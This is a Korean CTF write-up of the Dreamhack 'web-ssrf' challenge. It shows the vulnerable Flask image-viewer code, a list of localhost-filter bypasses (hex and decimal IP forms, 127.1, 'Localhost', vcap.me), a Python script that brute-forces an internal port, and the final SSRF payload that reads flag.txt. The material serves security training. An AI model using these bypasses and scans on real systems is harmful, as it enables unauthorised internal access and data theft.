본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] web-ssrf write up - 티스토리

 

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

 

 

 

 

img_viewer


입력 폼에 사용자 입력 값을 입력 받아 HTTP 요청을 보낸 후 응답을 화면에 base64 인코딩하여 img형태로 보여주는 서비스이다.

 

내부망에서 http 요청을 보낼 때 사용자 입력값이 포함 되기 때문에 ssrf와 같은 취약점이 발생할 수 있다.

 

 

 

/static/dream.png를 입력할 경우 해당 경로에 요청을 보내 사진이 응답으로 왔다. 만약 flag가 존재하는 경로에 요청을 보낼경우 base 64 인코딩된 flag값을 받아 볼 수 있다.

 

 

사용자 입력 값이 "/"로 시작할 경우 http요청이 8000포트로 고정이 되게 된다. 따라서 http://127.0.0.1:{1500 ~ 1800}/ 로 입력값을 주어야한다.

 

 또한 로컬 호스트에 대한 ip와 localhost를 필터링이 되고 있다. 따라서 이를 우회하여 적어야한다.

 

 먼저 127.0.0.1은 10진수로 작성되어 있다. 따라서 이를 16진수로 바꿀 수 있다.

 

- 0x7f.0x00.0x00.0x01

- 0x7f000001, 이를 10진수로 풀어쓴 2130706433

- 각 자리에서 0을 생략한 127.1, 127.0.1

- 127.0.0.1 ~ 127.0.0.255까지의 ip는 루프백이라고 하여 모두 로컬 호스트를 가리킨다.

- Localhost (URL에서 호스트와 스키마는 대소문자를 가리지 않는다.)

- 127.0.0.1의 도메인 이름인 vcap.me

 

 

run_local_server


 

127.0.0.1의 임의 포트에서 HTTP 서버를 실행한다.

 

http.server.HTTPServer의 두 번째 인자로 http.server.SimpleHTTPRequestHandler를 주게 되면 현재 디렉토리를 기준으로 URL이 가리키는 웹 리소스를 반환하는 웹 서버가 생성된다. 따라서 flag는 1500 ~ 1800 사이의 임의포트로 생성되는 해당 서버로만 접근이 가능하다.

 

 

 

임의 포트 릭


1500 ~ 1800의 포트이므로 브루트 포스를 이용해서 구할 수 있다.

 

 

포트가 맞지 않을 경우 예외처리가 발생할 것이므로 error.png로 응답이 오는 경우가 아닌 경우의 포트를 구하면 된다.

 

error.png의 경우 다음과 같은 사진이며 

 

 

👆 base64로 인코딩된 값으로 표현이 가능하다.

 

import requests

url = "http://host3.dreamhack.games:10749/img_viewer"

data = {
    "url": ""
}

ssrf = "http://Localhost:{i}/app/flag.txt"

for idx in range(1500, 1801):
    
    data["url"] = ssrf.format(i=idx)

    result = requests.post(url, data=data)
    print(idx)
    if 'iVBOR' not in result.text:
        print('Port is: ' + str(idx))
        break

 

따라서 해당 값이 웹 리소스에 없는 경우의 포트를 구했다.

 

 

 

 

익스플로잇


구한 포트를 토대로 입력할 페이로드를 작성한다.

 

http://Localhost:1676/flag.txt

 

 

 

위와 같은 base64 인코딩된 값이 보인다.